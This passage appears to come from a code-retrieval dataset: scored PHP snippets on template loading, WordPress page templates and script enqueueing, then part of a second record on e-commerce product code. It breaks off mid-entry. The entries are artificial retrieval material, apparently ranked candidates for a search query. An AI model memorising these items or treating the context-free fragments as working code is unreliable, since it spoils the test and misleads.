href=\"'.$path.'/css/style.css\" type=\"text/css\">');\n Layout::addHeader('<link rel=\"stylesheet\" href=\"'.$path.'/css/1140.css\" type=\"text/css\">'); */\n\n $absPath = URI::getAbsTemplatePath();\n\n // Layout::groupFiles(\"commonstyle\", $absPath . \"/css/menu.css\", \"css\", \"header\");\n Layout::groupFiles(\"commonstyle\", $absPath . \"/css/style.css\", \"css\", \"header\");\n // Layout::groupFiles(\"commonstyle\", $absPath . \"/css/1140.css\", \"css\", \"header\");\n //Layout::groupFiles(\"commonjs\", $absPath . \"/js/jquery.min.js\", \"js\", \"header\");\n\n // get all header css and js\n $jsData = Layout::bufferContent(URI:: getAbsTemplatePath() . \"/js/jspage.php\");\n Layout::addHeader($jsData);\n\n // get all footer css and js\n $jsFooter = Layout::bufferContent(URI:: getAbsTemplatePath() . \"/js/jsfooter.php\");\n Layout::addFooter($jsFooter);\n\n /* Layout::addFooter('<script src=\"'.$path.'/js/jquery-1.10.2.min.js\" type=\"text/javascript\"></script>');\n Layout::addFooter('<script src=\"'.$path.'/js/menu.js\" type=\"text/javascript\"></script>');\n Layout::addFooter('<script src=\"'.$path.'/js/jquery.themepunch.plugins.min.js\"></script>');\n Layout::addFooter('<script src=\"'.$path.'/js/jquery.themepunch.showbizpro.min.js\"></script>');\n Layout::addFooter('<script src=\"'.$path.'/js/custom.js\"></script>');\n Layout::addFooter('<script src=\"'.$path.'/js/jquery.infieldlabel.min.js\"></script>'); */\n\n\n// Layout::groupFiles(\"commonjs\",$absPath.\"/js/jquery-1.10.2.min.js\",\"js\",\"footer\");\n \n// Layout::groupFiles(\"commonjs\", $absPath . \"/js/jquery.validate.js\", \"js\", \"footer\");\n// Layout::groupFiles(\"commonjs\", $absPath . \"/js/menu.js\", \"js\", \"footer\");\n// Layout::groupFiles(\"commonjs\", $absPath . \"/js/jquery.themepunch.plugins.min.js\", \"js\", \"footer\");\n// Layout::groupFiles(\"commonjs2\", $absPath . \"/js/jquery.themepunch.showbizpro.min.js\", \"js\", \"footer\");\n// Layout::groupFiles(\"commonjs3\", $absPath . \"/js/jquery.infieldlabel.min.js\", \"js\", \"footer\");\n// Layout::groupFiles(\"commonjs5\", $absPath.\"/js/jquery.icheck.js\", \"js\", \"footer\");\n// Layout::groupFiles(\"commonjs4\", $absPath . \"/js/custom.js\", \"js\", \"footer\");\n \n \n \t\t\t//echo \"<pre>\";print_r(Layout::$groupFiles);exit;\n }", "title": "" }, { "docid": "0c2271782559c388a8b85ac936d07a69", "score": "0.53830785", "text": "protected function content_template()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "c0f6a1a60e947bfa4ae6de420e288c2c", "score": "0.53783774", "text": "public function frontend_template() {\n\t\t$page_blocks = md_post_meta( array( 'page_blocks', 'blocks' ), true );\n\t\tinclude( 'templates/template.php' );\n\t}", "title": "" }, { "docid": "e6d975008f2d6ae5fd7d92a6511271f3", "score": "0.53753364", "text": "function setupTemplate() {\n\t\tparent::setupTemplate();\n\t\tLocale::requireComponents(array(LOCALE_COMPONENT_PKP_SUBMISSION, LOCALE_COMPONENT_APPLICATION_COMMON));\n\t}", "title": "" }, { "docid": "bde734c313f7ffd67427ca436a1de761", "score": "0.5366126", "text": "private function _parseTemplate() {\n\t\t$this->_checkTemplate($this->_file);\n\n\t\t// Render template file\n\t\tob_start();\n\t\tinclude($this->directory . $this->_file . $this->extension);\n\t\t$template = $this->_render(ob_get_clean(), $this->_data);\n\n\t\tif (class_exists('\\Sleepy\\Hook')) {\n\t\t\t$template = \\Sleepy\\Hook::addFilter('render_template_' . $this->_file, $template);\n\t\t\t$template = \\Sleepy\\Hook::addFilter('render_template', $template);\n\t\t}\n\n\t\treturn $template;\n\t}", "title": "" }, { "docid": "01d94c12bd1e35862845ce7221857efd", "score": "0.5353571", "text": "function __construct() {\n $this->templates = array();\n $this->templates_rendered = array();\n }", "title": "" }, { "docid": "2eb148ee30da57ebe43cab00f5c2a082", "score": "0.53526074", "text": "protected function setup_router()\n {\n // Get local references\n $app = $this->app;\n $router = $app['router'];\n\n $file_list = $app['content_loader']->get_folder_contents();\n\n // Add each as a route\n foreach ($file_list as $file) {\n\n // Get filename without extension\n $exploded_file_name = explode('.', $file);\n $file_name = $exploded_file_name[0];\n\n $route = preg_match('/index$/', $file_name) === 1\n ? '/' . str_replace('index', '', $file_name)\n : '/' . $file_name;\n\n $router->get($route, function() use ($app, $file) {\n\n // Load content now\n // @todo This is temporary until some sort of Page-based abstraction\n // is implemented. Its horrible, but fuck you\n $content_array = $app['content_loader']->load($file);\n $content = $content_array[$file];\n\n // Set Twig options\n $twig_vars = array(\n 'config' => $app['settings'],\n 'base_url' => $app['settings']['site.site_root'],\n 'site_title' => $app['settings']['site.site_title']\n );\n\n $app['nav'] = isset($app['nav']) === TRUE ? $app['nav'] : array();\n\n // Merge Twig options and content into one array\n // @todo Change $app['nav'], and make a better way to inject content into Twig\n $options = array_merge($twig_vars, $content, $app['nav']);\n\n // Get template name from file, if not set, then use default\n $template_name = array_key_exists('template', $content['meta']) === true\n ? $content['meta']['template']\n : $app['settings']['zepto.default_template'];\n\n // Render template with Twig\n return $app['twig']->render($template_name, $options);\n });\n\n // If a file's name is 404.md or 500.md, use that to set an ErrorRoute with them\n\n }\n }", "title": "" }, { "docid": "c1d878bfd5a09bb2c233d0c10a93408f", "score": "0.5347221", "text": "public function getTemplates(): array\n {\n return [\n 'paths' => [\n 'post' => [\n __DIR__ . '/../templates/'\n ]\n ]\n ];\n }", "title": "" }, { "docid": "7f527b815664511ec17d4aa8ad39282b", "score": "0.53457546", "text": "public function transformContent() {\n $buffer = '';\n\n $rootPath = RootClassLoader::getLoaderByVendor('SB')->getRootPath();\n\n $files = glob($rootPath . '/pres/templates/' . $this->getLanguage() . '/content/*.html');\n foreach ($files as $file) {\n $fileName = basename($file);\n $urlName = str_replace('.html', '', $fileName);\n $buffer .= '<li><a href=\"?page=' . $urlName . '\">' . basename($file) . '</a></li>';\n }\n $this->setPlaceHolder('existing-tmpl', $buffer);\n\n // handle and display form\n $form = & $this->getForm('new-page');\n\n if ($form->isSent() && $form->isValid()) {\n\n $filePath = $rootPath . '/pres/templates/' . $this->getLanguage() . '/content';\n\n $fileName = $form->getFormElementByName('tmpl-name')->getAttribute('value');\n $content = $form->getFormElementByName('tmpl-content')->getContent();\n\n file_put_contents($filePath . '/' . $fileName . '.html', html_entity_decode($content, ENT_QUOTES, Registry::retrieve('APF\\core', 'Charset')));\n\n HeaderManager::forward('./?page=tmpl-wizzard');\n }\n\n $form->transformOnPlace();\n\n }", "title": "" }, { "docid": "7027ede4b101e68ed85494afca4c4c1c", "score": "0.5343736", "text": "private function __construct()\n {\n $this->templates = [];\n // Add a filter to the attributes metabox to inject template into the cache.\n if (version_compare(floatval(get_bloginfo('version')), '4.7', '<')) {\n\n // 4.6 and older\n add_filter(\n 'page_attributes_dropdown_pages_args',\n [ $this, 'register_project_templates' ]\n );\n } else {\n // Add a filter to the wp 4.7 version attributes metabox\n add_filter(\n 'theme_page_templates',\n [ $this, 'add_new_template' ]\n );\n }\n\n // Add a filter to the save post to inject out template into the page cache\n add_filter(\n 'wp_insert_post_data',\n [ $this, 'register_project_templates' ]\n );\n\n\n // Add a filter to the template include to determine if the page has our\n // template assigned and return it's path\n add_filter(\n 'template_include',\n [ $this, 'view_project_template']\n );\n\n\n // Add your templates to this array.\n $this->templates = [\n 'page-test-template.php' => 'Submission',\n 'page-thankyou.php' => 'Thank You',\n 'page-pdf-assembler.php' => 'pdf-assembler',\n 'page-submitfinal.php' => 'submit-final',\n 'page-user-info.php' => 'user-info',\n 'page-admin-view.php' => 'admin-view',\n 'page-rotary-user-dashboard.php' => 'rotary-user-dashboard',\n 'page-pdf-builder.php' => 'pdf-builder',\n 'page-purchase-credits.php' => 'Purchase Credits',\n 'page-credits-confirmation.php' => 'Credits Purchase Confirmation',\n 'page-custom-login.php' => 'Custom login',\n 'page-member-costs.php' => 'member-costs'\n ];\n }", "title": "" }, { "docid": "90d9a6c9df44cb9c1e0886f9495587af", "score": "0.5336256", "text": "private function _loadScripts()\n\t{\n\t\techo '<script id=\"template-upload\" type=\"text/x-tmpl\">\n\t\t{% for (var i=0, file; file=o.files[i]; i++) { %}\n\t\t <tr class=\"template-upload fade\">\n\t\t <td class=\"preview\"><span class=\"fade\"></span></td>\n\t\t <td class=\"name\"><span>{%=file.name%}</span></td>\n\t\t <td class=\"size\"><span>{%=o.formatFileSize(file.size)%}</span></td>\n\t\t {% if (file.error) { %}\n\t\t <td class=\"error\" colspan=\"2\"><span class=\"label label-important\">{%=locale.fileupload.error%}</span> {%=locale.fileupload.errors[file.error] || file.error%}</td>\n\t\t {% } else if (o.files.valid && !i) { %}\n\t\t <td colspan=\"2\">\n\t\t <div class=\"progress progress-success progress-striped active\"><div class=\"bar\" style=\"width:0%;\"></div></div>\n\t\t </td>\n\t\t <td class=\"start\">{% if (!o.options.autoUpload) { %}\n\t\t <button class=\"btn btn-small btn-primary\">\n\t\t <i class=\"icon-upload icon-white\"></i>\n\t\t <span>{%=locale.fileupload.start%}</span>\n\t\t </button>\n\t\t {% } %}</td>\n\t\t {% } else { %}\n\t\t <td colspan=\"2\"></td>\n\t\t {% } %}\n\t\t <td class=\"cancel\" colspan=\"2\">{% if (!i) { %}\n\t\t <button class=\"btn btn-small btn-warning\">\n\t\t <i class=\"icon-ban-circle icon-white\"></i>\n\t\t <span>{%=locale.fileupload.cancel%}</span>\n\t\t </button>\n\t\t {% } %}</td>\n\t\t </tr>\n\t\t{% } %}\n\t\t</script>\n\t\t<script id=\"template-download\" type=\"text/x-tmpl\">\n\t\t{% for (var i=0, file; file=o.files[i]; i++) { %}\n\t\t <tr class=\"template-download fade\">\n\t\t {% if (file.error) { %}\n\t\t <td></td>\n\t\t <td class=\"name\"><span>{%=file.name%}</span></td>\n\t\t <td class=\"size\"><span>{%=o.formatFileSize(file.size)%}</span></td>\n\t\t <td class=\"error\" colspan=\"2\"><span class=\"label label-important\">{%=locale.fileupload.error%}</span> {%=file.error%}</td>\n\t\t {% } else { %}\n\t\t <td class=\"preview\">{% if (file.thumbnail_url) { %}\n\t\t <a href=\"{%=file.url%}\" title=\"{%=file.name%}\" rel=\"gallery\" download=\"{%=file.name%}\"><img src=\"{%=file.thumbnail_url%}\"></a>\n\t\t {% } %}</td>\n\t\t <td class=\"name\">\n\t\t <a href=\"{%=file.url%}\" title=\"{%=file.name%}\" rel=\"{%=file.thumbnail_url&&\\'gallery\\'%}\" download=\"{%=file.name%}\">{%=file.name%}</a>\n\t\t </td>\n\t\t <td class=\"size\"><span>{%=o.formatFileSize(file.size)%}</span></td>\n\t\t <td colspan=\"2\"></td>\n\t\t {% } %}\n\t\t <td>\n\t\t \t{%= file.created %}\n\t\t </td>\n\t\t <td class=\"delete\">\n\t\t <button class=\"btn btn-small btn-small btn-danger\" data-type=\"{%=file.delete_type%}\" data-url=\"{%=file.delete_url%}\">\n\t\t <i class=\"icon-trash icon-white\"></i>\n\t\t <span>{%=locale.fileupload.destroy%}</span>\n\t\t </button>\n\t\t &nbsp;\n\t\t <input type=\"checkbox\" name=\"delete\" value=\"1\">\n\t\t </td>\n\t\t </tr>\n\t\t{% } %}\n\t\t</script>';\n\n\t}", "title": "" }, { "docid": "4ea34743435d159052582b6166e80c91", "score": "0.53355104", "text": "public function render(): void\n\t{\n\t\t$hasArgs = func_num_args() > 0;\n\n\t\tif ($hasArgs) {\n\t\t\t$backup = $this->compiler->getFileCollection();\n\t\t\t$newFiles = new FileCollection($backup->getRoot());\n\t\t\t$newFiles->addFiles(func_get_args());\n\t\t\t$this->compiler->setFileCollection($newFiles);\n\t\t}\n\n\t\t// remote files\n\t\tforeach ($this->compiler->getFileCollection()->getRemoteFiles() as $file) {\n\t\t\techo $this->getElement($file), PHP_EOL;\n\t\t}\n\n\t\t$file = $this->compiler->generate();\n\t\tif ($file) {\n\t\t\techo $this->getElement($file), PHP_EOL;\n\t\t}\n\n\t\tif ($hasArgs) {\n\t\t\t$this->compiler->setFileCollection($backup);\n\t\t}\n\t}", "title": "" }, { "docid": "9a7b7d20cf73655f4dd11907476aaa12", "score": "0.5335032", "text": "function FastTemplate ($pathToTemplates = \"\")\n {\n //if the track_errors configuration option is turned on (it defaults to off).\n\t\t global $php_errormsg;\n if(!empty($pathToTemplates))\n {\n $this->set_root($pathToTemplates);\n }\n\t\t\t//NEW by AiK\n \t$this->start = $this->utime();\n }", "title": "" }, { "docid": "6b6d624924220ed97981bdec1c2b7d15", "score": "0.53333575", "text": "function app_template_path() {\n\treturn APP_Wrapping::get_main_template();\n}", "title": "" }, { "docid": "6fd3c631ca1ae65516bdaa567c56d1ab", "score": "0.5332047", "text": "public function ctrGetTemplate(){\r\n include \"View/template.php\";\r\n\r\n }", "title": "" }, { "docid": "c7404ab86af16bfe3e670b0624eac0f9", "score": "0.53277266", "text": "public function execute() {\n include($this->template);\n }", "title": "" }, { "docid": "51ac0a74fbac399c979d046ab256cf6e", "score": "0.5325071", "text": "public function load_file( $file_name, $args, $dir_label='layout' ) {\r\n //Construct the path. layout must be previously set has been choosen\r\n if( !isset($this->roots[$dir_label]))\r\n die(\"load_body requires layout_root to be set\");\r\n $file_name = $this->roots[$dir_label].$file_name;\r\n\r\n //If the file doesn't exist, dump warnings, exit with error\r\n if( !file_exists($file_name) ) {\r\n if ($this->dump_warnings) $this->show_warnings();\r\n die( \"<b>\".$file_name.\" could not be located</b><br/><br/>\" );\r\n }\r\n $contents = file_get_contents($file_name);\r\n\r\n //Find all the variable references and make sure those variables exist\r\n preg_match_all('/\\$template\\[[\"\\'](\\w+)[\"\\']\\]/s',$contents,$matches);\r\n foreach($matches[1] as $match) {\r\n //If the a variable required by the template is missing\r\n //Create an appropriate warning and push it on the stack\r\n if( !array_key_exists($match,$args) )\r\n array_push($this->warnings,\"'$match' variable value was not supplied to $label\");\r\n } \r\n\r\n // Declare all globals used by the template script as found between the\r\n // #USED_GLOBALS and END_GLOBALS# pgp tags \r\n $globals = array( 'templater' ); //$templater is always global\r\n if(preg_match('/#USED_GLOBALS (.*)? END_GLOBALS#/',$contents,$matches))\r\n $globals = $globals+explode(',',$matches[1]);\r\n foreach($globals as $var) { global $$var; }\r\n \r\n // Here we are setting up an output buffer to hold the output from the\r\n // template file. We then retreive the buffer contents and clear to so\r\n // it does not get sent to the server until we wish for it to.\r\n ob_start();\r\n include $file_name;\r\n $ret = ob_get_contents();\r\n ob_end_clean();\r\n\r\n return $ret;\r\n }", "title": "" }, { "docid": "d72874df9d25c61f0deae3c0a0e0ac08", "score": "0.53212994", "text": "public function template(){\r\n include \"views/template.php\";\r\n }", "title": "" }, { "docid": "3ab7bd58b08833a605f02510f5fcac35", "score": "0.5308877", "text": "private function readInformation()\n {\n // Get original version\n $originalVersion = $this->getTemplateVersion($this->originalPath);\n $this->setOriginalVersion($originalVersion);\n\n // Get overloaded version number\n $currentVersion = empty($this->currentPath) ? '' : $this->getTemplateVersion($this->currentPath);\n $this->setCurrentVersion($currentVersion);\n\n // Outdated?\n if (empty($currentVersion) && !empty($originalVersion) && !empty($this->currentPath)) {\n $this->setOutdated(true);\n } else if (empty($currentVersion)) {\n $this->setOutdated(false);\n } else {\n $this->setOutdated(version_compare($originalVersion, $currentVersion, '!='));\n }\n\n // Add template to our list\n $this->setName(basename($this->originalPath));\n }", "title": "" }, { "docid": "20fb4ba13c94333910e55d74c68b9404", "score": "0.5300272", "text": "function templateInit(){\n\t$addScript = array();\n\t$addJavaScript = array();\n\t$addStyleSheet = array();\n\t$addStyle = array();\n\t$addMeta = array();\n\t$addBreadcrumbs = array();\n\tglobal $addScript, $addJavaScript, $addStyleSheet, $addStyle, $addMeta, $addBreadcrumbs;\n}", "title": "" }, { "docid": "009675209b6d39659041e368a3f1736c", "score": "0.52936965", "text": "public function view_templates($args)\n {\n $this->registry->template->Title = \"Infopedia - Technical Support Center : View Email Templates\";\n $templateListArray = $this->registry->model->run(\"getAllTemplateList\", $args);\n $this->registry->template->PresentPage = $args['start_page'];\n $this->registry->template->TemplateListArray = $templateListArray;\n $this->registry->template->show(\"view_templates\");\n }", "title": "" }, { "docid": "45fd45c9cdaf5ed27d44637519f3a8f9", "score": "0.5292693", "text": "function mts_wp_review_add_template_path( $paths ) {\n\t// Add a new path where we look for review box template files\n\t// The $paths holds default paths in reversed\n\t$paths[] = '/absolute/path/to/additional/templates/dir';\n\treturn $paths;\n}", "title": "" }, { "docid": "0ddc5f2a9c5878d09a553a6a356268d1", "score": "0.5291646", "text": "abstract public function template();", "title": "" }, { "docid": "727a2b51f6705e709bea45b0e66673b4", "score": "0.52804655", "text": "private static function load_install_template($tpl_name){\n require __DIR__.'/../_install/_templates/'.$tpl_name.'.html';\n }", "title": "" }, { "docid": "c561defb2e8b8bf8107697634466c2fa", "score": "0.5277089", "text": "public function onGetPageTemplates($event)\n {\n $types = $event->types;\n\n /* @var Locator $locator */\n $locator = Grav::instance()['locator'];\n\n // Set blueprints & templates.\n $types->scanBlueprints($locator->findResources('plugin://' . $this->name . '/blueprints'));\n $types->scanTemplates($locator->findResources('plugin://' . $this->name . '/templates'));\n }", "title": "" }, { "docid": "2957ca138f1dccf2321128cec3300111", "score": "0.5273428", "text": "private function __construct() {\n $this->templates = array();\n // Add a filter to the attributes metabox to inject template into the cache.\n add_filter(\n 'page_attributes_dropdown_pages_args',\n array( $this, 'register_project_templates' ) \n );\n // Add a filter to the save post to inject out template into the page cache\n add_filter(\n 'wp_insert_post_data', \n array( $this, 'register_project_templates' ) \n );\n // Add a filter to the template include to determine if the page has our \n // template assigned and return it's path\n add_filter(\n 'template_include', \n array( $this, 'view_project_template') \n );\n // Add your templates to this array.\n $this->templates = array(\n 'ingreso.php' => 'Ingreso',\n 'registro.php' => 'Registro',\n 'mensajes.php' => 'Mensajes',\n 'salas.php' => 'Salas',\n 'privado.php' => 'Privados',\n );\n \n }", "title": "" }, { "docid": "9feea4895a7212d090256e5434d950f1", "score": "0.52723116", "text": "function __construct($templateFile='',$template='') {\r\n \r\n parent::prepareTemplate($templateFile,$template); \r\n }", "title": "" }, { "docid": "5bf0f5098806111f7422f14fb510e6ba", "score": "0.5269888", "text": "protected function setUpTemplateManager() {\n $name = 'layoutTemplate';\n $layoutFile = \\dirname(__DIR__) . '/Responder/html/layout/default.php';\n $LayoutTemplate = new FireTemplate\\FileTemplate($name, $layoutFile);\n $Manager = new FireTemplate\\Manager();\n $Manager->setLayoutTemplate($LayoutTemplate);\n\n $this->TemplateManager = $Manager;\n }", "title": "" }, { "docid": "06697c989faa7ff5971a136d51dfd36a", "score": "0.5269785", "text": "private function __construct() {\n $this->templates = array();\n // Add a filter to the attributes metabox to inject template into the cache.\n add_filter(\n\t\t\t\t\t'page_attributes_dropdown_pages_args',\n\t\t\t\t\t array( $this, 'register_project_templates' )\n\t\t\t\t);\n // Add a filter to the save post to inject out template into the page cache\n add_filter(\n\t\t\t\t\t'wp_insert_post_data',\n\t\t\t\t\tarray( $this, 'register_project_templates' )\n\t\t\t\t);\n // Add a filter to the template include to determine if the page has our\n\t\t\t\t// template assigned and return it's path\n add_filter(\n\t\t\t\t\t'template_include',\n\t\t\t\t\tarray( $this, 'view_project_template')\n\t\t\t\t);\n // Add your templates to this array.\n $this->templates = array(\n // 'page-directory.php' => 'Directory Page',\n );\n\n }", "title": "" }, { "docid": "17200269cb9f092868596cafa104d232", "score": "0.5264839", "text": "public function incl( $__template_name ) {\n\t\t\textract( $this->template_vars, EXTR_SKIP );\n\n\t\t\t// include our template\n\t\t\trequire $this->incl_find_file( $__template_name );\n\t\t}", "title": "" }, { "docid": "ceca7214f4af9d0173dc8fb2c4a95b91", "score": "0.52596503", "text": "public function plantilla()\n\t{\n\t\tinclude \"vista/template.php\";\n\t}", "title": "" }, { "docid": "75a2bde86669ca9f843c5ffd2ef6e541", "score": "0.5258164", "text": "public function enqueue() {\n\t\tif ( ! Templating_Manager::is_active() ) {\n\t\t\treturn;\n\t\t}\n\n\t\t$template = Templating_Manager::get_active_template();\n\t\t\n\t\t/*echo $template->path; echo 'mohit gautam'; die();*/ \n\t\tforeach ( scandir( $template->path ) as $file ) {\n\t\t\tswitch ( pathinfo( $template->path . '/' . $file, PATHINFO_EXTENSION ) ) {\n\t\t\t\tcase 'css':\n\t\t\t\t\twp_enqueue_style( 'sm_pro_templating_' . basename( $template->path ), $template->url . '/' . $file, array(), $template->version );\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'js':\n\t\t\t\t\twp_enqueue_script( 'sm_pro_templating' . basename( $template->path ), $template->url . '/' . $file, array(), $template->version );\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "11bf4b37303b2d6302e48aac52416ba8", "score": "0.52515", "text": "public function onTwigTemplatePaths()\n {\n\t\tif ($this->isAdmin()) {\n array_unshift($this->grav['twig']->twig_paths, __DIR__ . '/templates');\n } else {\n\t\t\t$this->grav['twig']->twig_paths[] = __DIR__ . '/templates';\n\t\t}\n }", "title": "" }, { "docid": "0056330430a41f1508883c732626b35d", "score": "0.5246047", "text": "function templateFile()\n {\n return 'JournalResults.tpl';\n }", "title": "" }, { "docid": "d18c070767f21094e2442591db2192f2", "score": "0.5245791", "text": "public function template(){\n\t\n\t\n\t\n\t\n\t}", "title": "" }, { "docid": "41da7b3e61535371857b794290ec1b50", "score": "0.5242464", "text": "private static function provideScripts() {\n foreach(static::$script->reverse()->get() as $key => $script)\n {\n TemplateEngine::addScript($key, $script);\n }\n }", "title": "" } ]
fe9de01c0ed612cbd6714cbd97b898c7
The business function (e.g. sell, lease, repair, dispose) of the offer or component of a bundle (TypeAndQuantityNode). The default is
[ { "docid": "7212ff7f6bd6e62c9ddab2e9b3922cb1", "score": "0.0", "text": "public function businessFunction($businessFunction)\n {\n return $this->setProperty('businessFunction', $businessFunction);\n }", "title": "" } ]
[ { "docid": "68b04780692ece36f742e427394f3d0c", "score": "0.56115156", "text": "function quantity() {}", "title": "" }, { "docid": "5ff88b26f446457384e4ec1e9070a8cc", "score": "0.5108531", "text": "public function getStockQuantity();", "title": "" }, { "docid": "9159a826e4f70543b2ff922d626bd19c", "score": "0.50466937", "text": "public function getBundle_price()\n {\n return $this->bundle_price;\n }", "title": "" }, { "docid": "22914019dd2e546b1c7c5d402b3f3706", "score": "0.5011154", "text": "public function getBprice()\n {\n return $this->bprice;\n }", "title": "" }, { "docid": "d6b46fdd2d76e520f2340cd1b330b5f2", "score": "0.49952403", "text": "public function getQuantity();", "title": "" }, { "docid": "d6b46fdd2d76e520f2340cd1b330b5f2", "score": "0.49952403", "text": "public function getQuantity();", "title": "" }, { "docid": "d6b46fdd2d76e520f2340cd1b330b5f2", "score": "0.49952403", "text": "public function getQuantity();", "title": "" }, { "docid": "d6b46fdd2d76e520f2340cd1b330b5f2", "score": "0.49952403", "text": "public function getQuantity();", "title": "" }, { "docid": "d6b46fdd2d76e520f2340cd1b330b5f2", "score": "0.49952403", "text": "public function getQuantity();", "title": "" }, { "docid": "d6b46fdd2d76e520f2340cd1b330b5f2", "score": "0.49952403", "text": "public function getQuantity();", "title": "" }, { "docid": "d6b46fdd2d76e520f2340cd1b330b5f2", "score": "0.49952403", "text": "public function getQuantity();", "title": "" }, { "docid": "1031d44d75db891dc8194cc81c908ff3", "score": "0.4981591", "text": "public function feeByProductType() {\n return 0;\n }", "title": "" }, { "docid": "bb04d165093f8dd8bc74227a80c6b147", "score": "0.49221218", "text": "function product_bundle_short_desc () {\n\tglobal $post; // the product\n\t\n\t// add table with products included in bundle\n\t$product_ids = maybe_unserialize( get_post_meta($post->ID, '_bundle_ids', true) );\n\t$reduction = maybe_unserialize( get_post_meta($post->ID, '_bundle_reduce', true) );\n\t\n\tif ( !$product_ids ) {return;}\n\t?>\t\n\t\n\tCe pack comprends les produits suivants :\n\t<style type=\"text/css\">\n\t\t.group_table_bundle {width: 90%; margin-bottom: 1em;}\n\t\t.group_table_bundle td {vertical-align: middle; border-bottom: 1px dotted #222;}\n\t</style>\n\t\n\t<br><br>\n\t<table cellspacing=\"0\" class=\"group_table_bundle\">\n\t\t<tbody>\n\t\t<?php\n\t\tforeach ( $product_ids as $product_id ) { \n\t\t\t$product = new WC_Product_simple( $product_id );\n\t\t\techo '<tr>';\n\t\t\techo '<td class=\"label\"><label id=\"product-'.$product_id.'?>\">';\n\t\t\t\tif ($product->is_visible()) {\n\t\t\t\t\techo '<a href=\"'.get_permalink($product_id).'\">' . $product->get_title() . '</a>';\n\t\t\t\t} else {\n\t\t\t\t\techo $product->get_title();\n\t\t\t\t}\n\t\t\t\techo '</label></td>';\n\t\t\t\techo '<td class=\"price\">';\n\t\t\t\techo woocommerce_price($product->get_price(), $args = array() );\n\t\t\t\techo '</td>';\n\t\t\t\techo '<td class=\"thumbnails\" style=\"width:32px;height:32px;\">'.get_the_post_thumbnail( $product_id,array(90,90) ).'</td>';\n\t\t\techo '</tr>';\n\t\t}\n\t\t?>\n\t\t</tbody>\n\t</table>\n\t\n\t<?php\n\t\n\t$bundle_price = get_post_meta($post->ID, '_regular_price', true);\n\t$sale_price = get_post_meta($post->ID, '_sale_price', true);\t\n\t$regular_price = get_post_meta($post->ID, '_bundle_regular_price', true);\n\t\n\t$regular_price_html = woocommerce_price( $regular_price, $args = array() );\n\tif ($sale_price != \"\") { \n\t\t$you_save_html = woocommerce_price( (floatval($sale_price) - floatval($bundle_price)), $args = array() );\n\t} else {\n\t\t$you_save_html = woocommerce_price( (floatval($regular_price) - floatval($bundle_price)), $args = array() );\t\n\t}\n\t\n\t?>\n\t<table table cellspacing=\"0\" class=\"group_table_bundle_price\">\n\t\t<tbody>\n\t\t\t<tr>\n\t\t\t\t<td class=\"label\"><?php _e('Prix normal','woocommerce-ru-bundle'); ?></td>\n\t\t\t\t<td class=\"price\"><?php echo $regular_price_html; ?></td>\n\t\t\t</tr>\n\t\t\t<tr>\n\t\t\t\t<td class=\"label\"><?php _e('Vous &eacute;conomisez','woocommerce-ru-bundle'); ?></td>\n\t\t\t\t<td class=\"price\"><?php echo $you_save_html; ?></td>\n\t\t\t</tr>\n\t\t</tbody>\n\t</table>\n\t\n\t<style type=\"text/css\">\n\t\t.group_table_bundle_price {width: 90%; margin-bottom: 1em;}\n\t\t.group_table_bundle_price td {vertical-align: middle; font-size: 1.25em;}\n\t</style>\n\t<?php\n}", "title": "" }, { "docid": "b50e0e3cdaa07195049dbb9b55cd996c", "score": "0.49126285", "text": "abstract public function getQtyInput();", "title": "" }, { "docid": "bfc45dfd6448059f48fcf4310c723cd0", "score": "0.4885856", "text": "function clientCode2(Component $component1, Component $component2)\n{\n // ...\n\n if ($component1->isComposite()) {\n $component1->add($component2);\n }\n echo \"RESULT: \" . $component1->operation();\n\n // ...\n}", "title": "" }, { "docid": "e649cac21e377414c83c2d894faad090", "score": "0.48734877", "text": "public function getPriceFunction();", "title": "" }, { "docid": "8636f3dcf764e13706da707be89da99b", "score": "0.48718542", "text": "function Buyable(){\n\t\treturn $this->{$this->stat('buyable_relationship')}();\n\t}", "title": "" }, { "docid": "fbc8f8e982a9eb8c4973b62493a6f5d5", "score": "0.48568216", "text": "protected abstract function getBalanceFunctions();", "title": "" }, { "docid": "c556f4a636bd0af120917812ac730a07", "score": "0.4839492", "text": "public function getQuantity_bought_package()\n {\n return $this->quantity_bought_package;\n }", "title": "" }, { "docid": "1d1c504347d090e2a3210ecddc87982f", "score": "0.4824931", "text": "abstract public function getConsumptionTypeTag();", "title": "" }, { "docid": "197ea6c4c4b4fa99366e77c0ac1ea8b4", "score": "0.4784512", "text": "public function getPriceType();", "title": "" }, { "docid": "4749272bd7c71747c5221a73ee755fcf", "score": "0.47790626", "text": "public function filledSellQuantity()\n\t{\n\t\treturn $this->buy ? $this->getFilledQuantity() * $this->price : $this->getFilledQuantity();\n\t}", "title": "" }, { "docid": "a56af12003793f316aa0903b0669e293", "score": "0.4771499", "text": "function buybox()\n\t{\n\t\t// basic fact-checking\n\t\tif (empty($this->trader))\n\t\t{\n\t\t\techo \"Oops: I don't recognize you!\";\n\t\t\treturn;\n\t\t}\n\n\t\t// make sure they can afford it\n\t\t$cost = $this->properties->get('priceperpack');\n\t\t$stat = $this->stats->get($this->trader);\n\t\tif ($stat->balance < $cost)\n\t\t{\n\t\t\techo \"Oops: you can't afford that!\";\n\t\t\treturn;\n\t\t}\n\n\t\t// go get em\n\t\t$result = $this->engine->fillabox($this->trader);\n\n\t\t// charge them for it\n\t\t$stat->balance -= $cost;\n\t\t$stat->boxes_bought++;\n\t\t$this->stats->update($stat);\n\n\t\t$this->activity->record($this->trader, 'bought a box of parts');\n\t\t$this->history->record($this->trader,'Parts bought',10, -100);\n\t\techo json_encode($result);\n\t}", "title": "" }, { "docid": "0a784e7c28ff84b235a7947761fc8042", "score": "0.47531667", "text": "public function PriceSell() {\n\treturn $this->Value('PriceSell');\n }", "title": "" }, { "docid": "c95473a0290482e82df99f56b616d85b", "score": "0.474893", "text": "function installBusinessComponent(){\n \n \n $routine_query=array(\n \n \"lm_modelli_prodotti\"=>array(\n \"codice_modello\"=>null,\n \"categoria\"=>-1,\n \"utente\"=>$this->iduser,\n \"nome\"=>t(\"Prodotto-senza-nome\"),\n \"descrizione\"=>\"\",\n \"carattere_prodotto\"=>\"articolo\"\n \n ),\n \n \"lm_prodotti_azienda\"=>array(\n \"codiceprodotto\"=>\"%idprodotto\",\n \"azienda\"=>$this->owner,\n \"data_creazione\"=>data(\"Y-m-d H:i:s\"),\n \"tipologia_prodotto\"=>\"articolo\"\n ),\n \n \"lm_types_listini\"=>array(\n \"types\"=>null,\n \"valore\"=>0,\n 